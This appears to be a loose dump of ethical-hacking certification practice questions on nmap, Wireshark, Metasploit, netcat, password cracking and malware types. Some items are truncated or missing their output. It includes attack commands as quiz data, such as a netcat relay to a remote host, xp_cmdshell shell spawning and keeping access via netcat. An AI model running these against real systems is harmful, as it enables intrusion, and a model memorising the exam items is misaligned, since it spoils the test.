nmap -T4 -q 10.10.0.0/24
nmap -T4 -O 10.10.0.0/24 (OS fingerprinting)
nmap -T4 -r 10.10.1.0/24
Which Nmap option would you use if you were not concerned about being detected and wanted to perform a very fast scan
-A
-O
-T5 (0-5 speed template from slow and stealthy to fast and obvious)
-T0
A security engineer is attempting to map a company’s internal network. The engineer enters in the following NMAP command:
NMAP –n –sS –P0 –p 80 ***.***.**.**
What type of scan is this?
Quick scan
Intense scan
Stealth scan
Comprehensive scan
A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch would the hacker use?
–sO (IP Protocol Scans)
–sP (Ping scan)
–sS (Stealth scan)
–sU (UDP scan)
A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?
-sO
-sP
-sS
–sU
Which of the following parameters enables NMAP’s operating system detection feature?
NMAP –sV (Version Detection)
NMAP -oS
NMAP -sR
NMAP –O (OS fingerprinting)
What results will the following command yield: ‘NMAP -sS -O -p 123-153 192.168.100.3’?
A stealth scan, opening port 123 and 153
A stealth scan, checking open ports 123 to 153
A stealth scan, checking all open ports excluding ports 123 to 153
A stealth scan, determine operating system, and scanning ports 123 to 153
Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection?
NMAP -PN -A -O -sS 192.168.2.0/24
NMAP -P0 -A -O -p1-65535 192.168.0/24
NMAP -P0 -A -sT -p0-65535 192.168.0/16
NMAP -PN -O -sS -p 1-1024 192.168.0/8
Which of the following Nmap commands will produce the following output?
Output: Starting Nmap 6.47 (http://nmap.org ) at 2015-05-26 12:50 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00042s latency).
Not shown: 65530 open|filtered ports, 65529 filtered ports
PORT STATE SERVICE
111/tcp open rpcbind
999/tcp open garcon
1017/tcp open unknown
1021/tcp open exp1
1023/tcp open netvenuechat
2049/tcp open nfs
17501/tcp open unknown
111/udp open rpcbind
123/udp open ntp
137/udp open netbios-ns
2049/udp open nfs
5353/udp open zeroconf
17501/udp open|filtered unknown
51857/udp open|filtered unknown
54358/udp open|filtered unknown
56228/udp open|filtered unknown
57598/udp open|filtered unknown
59488/udp open|filtered unknown
60027/udp open|filtered unknown
nmap -sN -Ps -T4 192.168.1.1
nmap -sT -sX -Pn -p 1-65535 192.168.1.1
nmap -sS -Pn 192.168.1.1
nmap -sS -sU -Pn -p 1-65535 192.168.1.1
Which NMAP feature can a tester implement or adjust while scanning for open ports to avoid detection by the network’s IDS?
Timing options to slow the speed that the port scan is conducted
Fingerprinting to identify which operating systems are running on the network
ICMP ping sweep to determine which hosts on the network are not available
Traceroute to control the path of the packets sent during the scan
Emil uses nmap to scan two hosts using this command.
nmap -sS -T4 -O 192.168.99.1 192.168.99.7
He receives this output:Nmap scan report for 192.168.99.1
Host is up (0.00082s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
53/tcp open domain
80/tcp open http
161/tcp closed snmp
MAC Address: B0:75:D5:33:57:74 (ZTE)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 – 2.6.33
Network Distance: 1 hop
Nmap scan report for 192.168.99.7
Host is up (0.000047s latency).
All 1000 scanned ports on 192.168.99.7 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops
What is his conclusion?
Host 192.168.99.7 is an iPad.
He performed a SYN scan and OS scan on hosts 192.168.99.1 and 192.168.99.7.
Host 192.168.99.1 is the host that he launched the scan from.
Host 192.168.99.7 is down.
Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?
NMAP
Metasploit
Nessus
BeEF
Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?
Use a scan tool like Nessus
Use the built-in Windows Update tool
Check MITRE.org for the latest list of CVE findings
Create a disk image of a clean Windows installation
On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured?
nessus +
nessus *s
nessus &
nessus –d
Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity?
Netstat WMI Scan
Silent Dependencies
Consider unscanned ports as closed
Reduce parallel connections on congestion
You want to analyze packets on your wireless network. Which program would you use?
Wireshark with Airpcap
Airsnort with Airpcap
Wireshark with Winpcap
Ethereal with Winpcap
In Wireshark, the packet bytes panes show the data of the current packet in which format?
Decimal
ASCII only
Hexadecimal
Binary
The network administrator contacts you and tells you that she noticed the temperature on the internal wireless router increases by more than 20% during weekend hours when the office was closed. She asks you to investigate the issue because she is busy dealing with a big conference and she doesn’t have time to perform the task.
What tool can you use to view the network traffic being sent and received by the wireless router?
Wireshark
Nessus
Netcat
Netstat
Which of the following problems can be solved by using Wireshark?
Tracking version changes of source code
Tracking version changes of source code
Resetting the administrator password on multiple systems
Troubleshooting communication resets between two systems
When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire?
Network tap
Layer 3 switch
Network bridge
Application firewall
You are a Network Security Officer. You have two machines. The first machine (192.168.0.99) has snort installed, and the second machine (192.168.0.150) has kiwi syslog installed. You perform a syn scan in your network, and you notice that kiwi syslog is not receiving the alert message from snort. You decide to run wireshark in the snort machine to check if the messages are going to the kiwi syslog machine. What wireshark filter will show the connections from the snort machine to kiwi syslog machine?
tcp.dstport==514 && ip.dst==192.168.0.150
tcp.srcport==514 && ip.src==192.168.0.99
tcp.dstport==514 && ip.dst==192.168.0.0/16
tcp.srcport==514 && ip.src==192.168.150
What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?
tcp.src == 25 and ip.host == 192.168.0.125
host 192.168.0.125:25
port 25 and host 192.168.0.125
tcp.port == 25 and ip.host == 192.168.0.125
As an Ethical Hacker you are capturing traffic from your customer network with Wireshark and you need to find and verify just SMTP traffic. What command in Wireshark will help you to find this kind of traffic?
request smtp 25
tcp.port eq 25
smtp port
tcp.contains port 25
Which of the following is considered an exploit framework and has the ability to perform automated attacks on services, ports, applications and unpatched security flaws in a computer system?
Maltego
Metasploit
Nessus
Wireshark
Which Metasploit Framework tool can help penetration tester for evading Anti-virus Systems?
msfpayload
msfcli
msfencode
msfd
A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?
Issue the pivot exploit and set the meterpreter.
Reconfigure the network settings in the meterpreter.
Set the payload to propagate through the meterpreter.
Create a route statement in the meterpreter.
The establishment of a TCP connection involves a negotiation called 3 way handshake. What type of message sends the client to the server in order to begin this negotiation?
RST
ACK
SYN-ACK
SYN
What is the correct process for the TCP three-way handshake connection establishment and connection termination?
Connection Establishment: FIN, ACK-FIN, ACK
Connection Termination: SYN, SYN-ACK, ACK
Connection Establishment: SYN, SYN-ACK, ACK
Connection Termination: ACK, ACK-SYN, SYN
Connection Establishment: ACK, ACK-SYN, SYN
Connection Termination: FIN, ACK-FIN, ACK
Connection Establishment: SYN, SYN-ACK, ACK
Connection Termination: FIN, ACK-FIN, ACK
You have several plain-text firewall logs that you must review to evaluate network traffic. You know that in order to do fast, efficient searches of the logs you must use regular expressions. Which command-line utility are you most likely to use?
Grep
Notepad
MS Excel
Relational Database
TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. Which of the following tools can be used for passive OS fingerprinting?
nmap
ping
tracert
tcpdump
Which of the following is a command line packet analyzer similar to GUI-based Wireshark?
tcpdump
nessus
etherea
Jack the ripper
Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?
They are written in Java.
They send alerts to security monitors.
They use the same packet analysis engine.
They use the same packet capture utility.
Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations?
Cain
John the Ripper
Nikto
Hping
Which of the following scanning tools is specifically designed to find potential exploits in Microsoft Windows products?
Microsoft Security Baseline Analyzer
Retina
Core Impact
Microsoft Baseline Security Analyzer
ICMP ping and ping sweeps are used to check for active systems and to check
if ICMP ping traverses a firewall.
the route that the ICMP ping took.
the location of the switchport in relation to the ICMP ping.
the number of hops an ICMP ping takes to reach a destination.
An attacker is using nmap to do a ping sweep and a port scanning in a subnet of 254 addresses. In which order should he perform these steps?
The sequence does not matter. Both steps have to be performed against all hosts.
First the port scan to identify interesting services and then the ping sweep to find hosts responding to icmp echo requests.
First the ping sweep to identify live hosts and then the port scan on the live hosts. This way he saves time.
The port scan alone is adequate. This way he saves time.
If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?
TCP ping
Traceroute
Broadcast ping
Hping
You want to do an ICMP scan on a remote computer using hping2. What is the proper syntax?
hping2 host.domain.com
hping2 –set-ICMP host.domain.com
hping2 -i host.domain.com
hping2 -1 host.domain.com
Which of the following scanning method splits the TCP header into several packets and makes it difficult for packet filters to detect the purpose of the packet
ACK flag probe scanning
IPID scanning
SYNFIN scanning using IP fragments
ICMP Echo scanning
You are a Penetration Tester and are assigned to scan a server. You need to use a scanning technique wherein the TCP Header is split into many packets so that it becomes difficult to detect what the packets are meant for.
IP fragment scanning
...
Which is the first step followed by Vulnerability Scanners for scanning a network?
Firewall detection
Checking if the remote host is alive
OS Detection
TCP UDP Port scanning
The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106
Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
What type of activity has been logged?
Port scan targeting 192.168.1.106
Teardrop attack targeting 192.168.1.106
Denial of service attack targeting 192.168.1.103
Port scan targeting 192.168.1.103
Suppose you’ve gained access to your client’s hybrid network. On which port should you listen to in order to know which Microsoft Windows workstations has its file sharing enabled?
1433
161
445
3389
You perform a scan of your company’s network and discover that TCP port 123 is open. What services by default run on TCP port 123
DNS
POP3
Network Time Protocol
Telnet
Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall?
UDP 123
UDP 541
UDP 514
UDP 415
Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?
113
123
161
69
An NMAP scan of a server shows port 25 is open. What risk could this pose?
Open printer sharing
Web portal data leak
Clear text authentication
Active mail relay
An NMAP scan of a server shows port 69 is open. What risk could this pose?
Unauthenticated access
Weak SSL version
Cleartext login
Web portal data leak
A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?
Starting NMAP 5.21 at 2011-03-15 11:06
NMAP scan report for 172.16.40.65
Host is up (1.00s latency).
Not shown: 993 closed ports
PORT STATE SERVICE 21/tcp open
ftp 23/tcp open
telnet 80/tcp open
http 139/tcp open
netbios-ssn 515/tcp open
631/tcp open
ipp 9100/tcp open
MAC Address: 00:00:48:0D:EE:8
The host is likely a printer.
The host is likely a Windows machine.
The host is likely a Linux machine.
The host is likely a router.
From the two screenshots below, which of the following is occurring?
First one:
1 [10.0.0.253]# nmap -sP 10.0.0.0/24
2
3 Starting Nmap
5 Host 10.0.0.1 appears to be up.
6 MAC Address: 00:09:5B:29:FD:96 (Netgear)
7 Host 10.0.0.2 appears to be up.
8 MAC Address: 00:0F:B5:96:38:5D (Netgear)
9 Host 10.0.0.4 appears to be up.
10 Host 10.0.0.5 appears to be up.
11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds
Second one:
1 [10.0.0.252]# nmap -sO 10.0.0.2
2
3 Starting Nmap 4.01 at 2006-07-14 12:56 BST
4 Interesting protocols on 10.0.0.2:
5 (The 251 protocols scanned but not shown below are
6 in state: closed)
7 PROTOCOL STATE SERVICE
8 1 open icmp
9 2 open|filtered igmp
10 6 open tcp
11 17 open udp
12 255 open|filtered unknown
13
14 Nmap finished: 1 IP address (1 host up) scanned in
15 1.259 seconds
10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.
10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.
Based on the below log, which of the following sentences are true?
Mar 1, 2016, 7:33:28 AM 10.240.250.23 – 54373 10.249.253.15 – 22 tcp_ip
Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the client.
SSH communications are encrypted it’s impossible to know who is the client or the server.
Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server.
Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.
A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and 192.168.5.0. How can NMAP be used to scan these adjacent Class C networks?
NMAP -P 192.168.1-5*
NMAP -P 192.168.0.0/16 (B can work too)
NMAP -P 192.168.1.0, 2.0, 3.0, 4.0, 5.0
NMAP -P 192.168.1/17
What is the broadcast address for the subnet 190.86.168.0/22?
190.86.168.255
190.86.255.255
190.86.171.255
190.86.169.255
While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?
10.10.10.10
127.0.0.1
192.168.1.1
192.168.168.168
You are an Ethical Hacker who is auditing the ABC company. When you verify the NOC one of the machines has 2 connections, one wired and the other wireless. When you verify the configuration of this Windows system you find two static routes.
route add 10.0.0.0 mask 255.0.0.0 10.0.0.1
route add 0.0.0.0 mask 255.0.0.0 199.168.0.1
What is the main purpose of those static routes?
Both static routes indicate that the traffic is external with different gateway.
he first static route indicates that the internal traffic will use an external gateway and the second static route indicates that the traffic will be rerouted.
Both static routes indicate that the traffic is internal with different gateway.
The first static route indicates that the internal addresses are using the internal gateway and the second static route indicates that all the traffic that is not internal must go to an external gateway.
The network in ABC company is using the network address 192.168.1.64 with mask 255.255.255.192. In the network the servers are in the addresses 192.168.1.122, 192.168.1.123 and 192.168.1.124.
An attacker is trying to find those servers but he cannot see them in his scanning. The command he is using is:
nmap 192.168.1.64/28
Why he cannot see the servers?
He needs to add the command “”ip address”” just before the IP address
He is scanning from 192.168.1.64 to 192.168.1.78 because of the mask /28 and the servers are not in that range
The network must be down and the nmap command and IP address are ok
He needs to change the address to 192.168.1.0 with the same mask
You’ve just gained root access to a Centos 6 server after days of trying. What tool should you use to maintain access?
Disable Key Services
Create User Account
Download and Install Netcat
Disable IPTables
A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?
Reject all invalid email received via SMTP.
Allow full DNS zone transfers.
Remove A records for internal hosts.
Enable null session pipes.
Which of the following tools is used by pen testers and analysts specifically to analyze links between data using link analysis and graphs?
Metasploit
Wireshark
Maltego
Cain & Abel
Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump, WinDump, Wireshark, and EtherPeek?
tcptrace
tcptraceroute (A command, not tool)
Nessus
OpenVAS
What is the outcome of the comm”nc -l -p 2222 | nc 10.1.0.43 1234″?
Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222.
Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234.
Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222.
Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.
Look at the following output. What did the hacker accomplish?
; <<>> DiG 9.7.-P1 <<>> axfr domam.com @192.168.1.105
;; global options: +cmd
domain.com. 3600 IN SOA srv1.domain.com. hostsrv1.domain.com. 131 900 600 86400 3600
domain.com. 600 IN A 192.168.1.102
domain.com. 600 IN A 192.168.1.105
domain.com. 3600 IN NS srv1.domain.com.
domain.com. 3600 IN NS srv2.domain.com.
vpn.domain.com. 3600 IN A 192.168.1.1
server.domain.com. 3600 IN A 192.168.1.3
office.domain.com. 3600 IN A 192.168.1.4
remote.domain.com. 3600 IN A 192.168. 1.48
support.domain.com. 3600 IN A 192.168.1.47
ns1.domain.com. 3600 IN A 192.168.1.41
ns2.domain.com. 3600 IN A 192.168.1.42
ns3.domain.com. 3600 IN A 192.168.1.34
ns4.domain.com. 3600 IN A 192.168.1.45
srv1.domain.com. 3600 IN A 192.168.1.102
srv2.domain.com. 1200 IN A 192.168.1.105
domain.com. 3600 INSOA srv1.domain.com. hostsrv1.domain.com. 131 900 600 86400 3600;; Query time: 269 msec
;; SERVER: 192.168.1.105#53(192.168.1.105)
;; WHEN: Sun Aug 11 20:07:59 2013
;; XFR size: 65 records (messages 65, bytes 4501)
The hacker used whois to gather publicly available records for the domain.
The hacker used the “fierce” tool to brute force the list of available domains.
The hacker listed DNS records on his own domain.
The hacker successfully transferred the zone and enumerated the hosts.
Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?
ping 192.168.2.
ping 192.168.2.255
for %V in (1 1 255) do PING 192.168.2.%V
for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I “Reply”
During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?
Using the Metasploit psexec module setting the SA / Admin credential
Invoking the stored procedure xp_shell to spawn a Windows command shell
Invoking the stored procedure cmd_shell to spawn a Windows command shell
Invoking the stored procedure xp_cmdshell to spawn a Windows command shell
Which of the following techniques will identify if computer files have been changed?
Network sniffing
Permission sets
Integrity checking hashes
Firewall alerts
Which specific element of security testing is being assured by using hash?
Authentication
Integrity
Confidentiality
Availability
The company ABC recently contract a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. What of the following options can be useful to ensure the integrity of the data?
The CFO can use a hash algorithm in the document once he approved the financial statements
The document can be sent to the accountant using an exclusive USB for that document
The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same document
The CFO can use an excel file with a password
Which of the following is a hashing algorithm?
MD5
PGP
DES
ROT13
LM hash is a compromised password hashing function. Which of the following parameters describe LM Hash:?
I – The maximum password length is 14 characters.
II – There are no distinctions between uppercase and lowercase.
III – It’s a simple algorithm, so 10,000,000 hashes can be generated per second.
I
I, II, and III
II
I and II
What statement is true regarding LM hashes?
LM hashes consist in 48 hexadecimal characters.
LM hashes are based on AES128 cryptographic standard.
Uppercase characters in the password are converted to lowercase.
LM hashes are not generated when the password length exceeds 15 characters.
In cryptanalysis and computer security, ‘pass the hash’ is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user’s password, instead of requiring the associated plaintext password as is normally the case. Metasploit Framework has a module for this technique: psexec. The psexec module is often used by penetration testers to obtain access to a given system that you already know the credentials for. It was written by sysinternals and has been integrated within the framework. Often as penetration testers, successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other methods like fgdump, pwdump, or cachedump and then utilize rainbow tables to crack those hash values. Which of the following is true hash type and sort order that is using in the psexec module’s smbpass’?
NT:LM
LM:NT
LM:NTLM
NTLM:LM
What attack is used to crack passwords by using a precomputed table of hashed passwords?
Brute Force Attack
Hybrid Attack
Rainbow Table Attack
Dictionary Attack
A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users?
Perform a dictionary attack.
Perform a brute force attack.
Perform an attack with a rainbow table.
Perform a hybrid attack.
Which method of password cracking takes the most time and effort?
Brute force
Dictionary attack
Rainbow tables
Shoulder surfing
How can rainbow tables be defeated?
Password salting
Lockout accounts under brute force password cracking attempts
All uppercase character passwords
Use of non-dictionary words
A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted. Which cryptography attack is the student attempting?
Session hijacking
Man-in-the-middle attack
Brute-force attack
Dictionary attack
You have gained physical access to a Windows 2008 R2 server, which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user’s password or activate disabled Windows accounts?
Cain & Abel
SET
John the Ripper
CHNTPW
A hacker has managed to gain access to a Linux host and stolen the password file from /etc/passwd How can he use it?
He can open it and read the user ids and corresponding passwords.
The password file does not contain the passwords themselves.
He cannot read it because it is encrypted
The file reveals the passwords to the root user only.
John the Ripper is a technical assessment tool used to test the weakness of which of the following?
Firewall rulesets
File permissions
Passwords
Usernames
There are several ways to gain insight on how a cryptosystem works with the goal of reverse engineering the process. A term describes when two pieces of data result in the same value is?
Collision
Collusion
Polymorphism
Escrow
What is a “Collision attack” in cryptography?
Collision attacks try to find two inputs producing the same hash.
Collision attacks try to break the hash into two parts, with the same bytes in each part to get the private key.
Collision attacks try to get the public key.
Collision attacks try to break the hash into three parts to get the plaintext value.
Which property ensures that a hash function will not produce the same hashed value for two different messages?
Collision resistance
Bit length
Key strength
Entropy
A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?
Cupp
Nessus
Cain and Abel
John The Ripper Pro
The following is a sample of output from a penetration tester’s machine targeting a machine with the IP address of 192.168.1.106:
What is most likely taking place?
Ping sweep of the 192.168.1.106 network
Remote service brute force attempt
Port scan of 192.168.1.106
Denial of service attack on 192.168.1.106
Ricardo wants to send secret messages to a competitor company. To secure these messages, he uses a technique of hiding a secret message within an ordinary message. The technique provides ‘security through obscurity’. What technique is Ricardo using?
Public-key cryptography
RSA algorithm
Steganography
Encryption
Eve stole a file named secret.txt, transferred it to her computer and she just entered these commands:
[eve@localhost ~]$ john secret.txt
Loaded 2 password hashes with no different salts (LM [DES 128/128 SSE2-16])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 3/3 0g/s 86168p/s 86168c/s 172336C/s MERO..SAMPLUI
0g 0:00:00:04 3/3 0g/s 3296Kp/s 3296Kc/s 6592KC/s GOS..KARIS4
0g 0:00:00:07 3/3 0g/s 8154Kp/s 8154Kc/s 16309KC/s NY180K..NY1837
0g 0:00:00:10 3/3 0g/s 7958Kp/s 7958Kc/s 15917KC/s SHAGRN..SHENY9
What is she trying to achieve?
She is encrypting the file.
She is using John the Ripper to crack the passwords in the secret.txt file.
She is using John the Ripper to view the contents of the file.
She is using ftp to transfer the file to another hacker named John.
Which of the following is an application that requires a host application for replication?
Micro
Worm (Operates by itself)
Trojan (Spread through user interaction e.g. email attachment)
Virus (Rely on host to spread)
It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again. What type of malware is it that restricts access to a computer system that it infects and demands that the user pay a certain amount of money, cryptocurrency, etc. to the operators of the malware to remove the restriction?
Ransomware
Riskware
Adware
Spyware
Which of the following is the best countermeasure to encrypting ransomwares
Keep some generation of off-line backup
´....
Which of the following programs is usually targeted at Microsoft Office products?
Polymorphic virus
Multipart virus
Stealth virus
Macro virus
A virus that attempts to install itself inside of the file it is infecting is called?
Polymorphic virus
Tunneling virus (Bypass/intercept anti-virus, installing itself)
Stealth virus
Cavity virus (Install itself without damaging program itself)
Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?
Cavity virus (Install itself without damaging program itself)
Tunneling virus
Polymorphic virus
Stealth virus
Which of the following program infects the system boot sector and the executable files at the same time?
Multipartite Virus
Macro virus (Written in macro, infects Microsoft or similar applications)
Polymorphic virus (Self-encrypted virus designed to avoid detection, duplicates itself)
Stealth virus (Hidden computer virus that attacks OS processes and averts anti-virus scans)
A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.
Which sort of trojan infects this server?
Turtle Trojans
Banking Trojans
Botnet Trojan
Ransomware Trojans
A server has been infected by a certain type of Trojan. The hacker intended to utilize it to send and host junk mails. What type of Trojan did the hacker use?
Turtle Trojans
Ransomware Trojans
Botnet Trojan
Banking Trojans
A botnet can be managed through which of the following?
IRC
Linkedin and Facebook
A vulnerable FTP server
You are working as a Security Analyst in a company XYZ that owns the whole subnet range of 23.0.0.0/8 and 192.168.0.0/8. While monitoring the data, you find a high number of outbound connections. You see that IP’s owned by XYZ (Internal) and private IP’s are communicating to a Single Public IP. Therefore, the Internal IP’s are sending data to the Public IP. After further analysis, you find out that this Public IP is a blacklisted IP, and the internal communicating devices are compromised.
What kind of attack does the above scenario depict?
.....
Botnet Attack (Issuing commands to perform malicious activities such as DDoS, sending of spam mail, information theft)
Which of the following items of a computer system will an anti-virus program scan for viruses?
Boot Sector
Deleted Files
Windows Process List
Password Protected Files
Which of the following BEST describes the mechanism of a Boot Sector Virus?
Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR (Master Boot Record)
Moves the MBR to another location on the RAM and copies itself to the original location of the MBR
Overwrites the original MBR and only executes the new virus code
Modifies directory table entries so that directory entries point to the virus code instead of the actual program
Matthew received an email with an attachment named “YouWon$10Grand.zip.” The zip file contains a file named “HowToClaimYourPrize.docx.exe.” Out of excitement and curiosity, Matthew opened the said file. Without his knowledge, the file copies itself to Matthew’s APPDATA\\IocaI directory and begins to beacon to a Command-and-control server to download additional malicious binaries. What type of malware has Matthew encountered?
Key-logger
Trojan
Worm
Macro Virus
Jesse receives an email with an attachment labeled “Court_Notice_21206.zip”. Inside the zip file is a file named “Court_Notice_21206.docx.exe” disguised as a word document. Upon execution, a window appears stating, “This word document is corrupt.” In the background, the file copies itself to Jesse APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.
What type of malware has Jesse encountered?
Trojan
Macro Virus
Worm
Key-Logger
Initiating an attack against targeted businesses and organizations, threat actors compromise a carefully selected website by inserting an exploit resulting in malware infection. The attackers run exploits on well-known and trusted sites likely to be visited by their targeted victims. Aside from carefully choosing sites to compromise, these attacks are known to incorporate zero-day exploits that target unpatched vulnerabilities. Thus, the targeted entities are left with little or no defense against these exploits.
What type of attack is outlined in the scenario?
Watering Hole Attack (attack a group)
Heartbleed Attack
Shellshock Attack
Spear Phishing Attack
Which of the following is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.
Heartbleed Bug
POODLE
SSL/TLS Renegotiation Vulnerability
Shellshock
The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE’s Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the transport layer security (TLS) protocols defined in RFC6520. What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?
Root
Shared
Public
Private
An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?
g++ hackersExploit.cpp -o calc.exe
g++ hackersExploit.py -o calc.exe
g++ -i hackersExploit.pl -o calc.exe
g++ –compile –i hackersExploit.cpp -o calc.exe
Rebecca commonly sees an error on her Windows system that states that a Data Execution Prevention (DEP) error has taken place. Which of the following is most likely taking place ?
Malware is executing in either ROM or a cache memory area.
Malicious code is attempting to execute instruction in a non-executable memory region.
A race condition is being exploited, and the operating system is containing the malicious process
A page fault is occurring, which forces the operating system to write data from the hard drive
How is sniffing broadly categorized?
Active and passive
Broadcast and unicast
Unmanaged and managed
Filtered and unfiltered
You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity. What tool would you most likely select?
Cain & Abel
Nessus
Nmap
Snort
Which of the following identifies the three modes in which Snort can be configured to run?
Sniffer, Packet Logger, and Network Intrusion Detection System
Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System
Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System
Sniffer, Packet Logger, and Host Intrusion Prevention System
This configuration allows NIC to pass all traffic it receives to the Central Processing Unit (CPU), instead of passing only the frames that the controller is intended to receive. Select the option that BEST describes the above statement.
Multi-cast mode
WEM
Promiscuous mode
Port forwarding
Which of the following is the BEST way to defend against network sniffing?
Using encryption protocols to secure network communications
Register all machines MAC Address in a Centralized Database
Restrict Physical Access to Server Rooms hosting Critical Servers
Use Static IP Address
Which of the following statements is TRUE?
Sniffers operate on Layer 2 of the OSI model
Sniffers operate on both Layer 2 & Layer 3 of the OSI model
Sniffers operate on the Layer 1 of the OSI model
Sniffers operate on Layer 3 of the OSI model
A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
Fraggle (Send UDP traffic to IP broadcast)
MAC Flood
Smurf
Tear Drop
When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?
Identifying operating systems, services, protocols and devices
Collecting unencrypted information about usernames and passwords
Capturing a network traffic for further analysis
Modifying and replaying captured network traffic
Which of the following is a form of penetration testing that relies heavily on human interaction and often involves tricking people into breaking normal security procedures?
Social Engineering
Piggybacking
Tailgating
Eavesdropping
Which of the following is a low-tech way of gaining unauthorized access to systems
Eavesdropping
Sniffing
Scanning
Social engineering
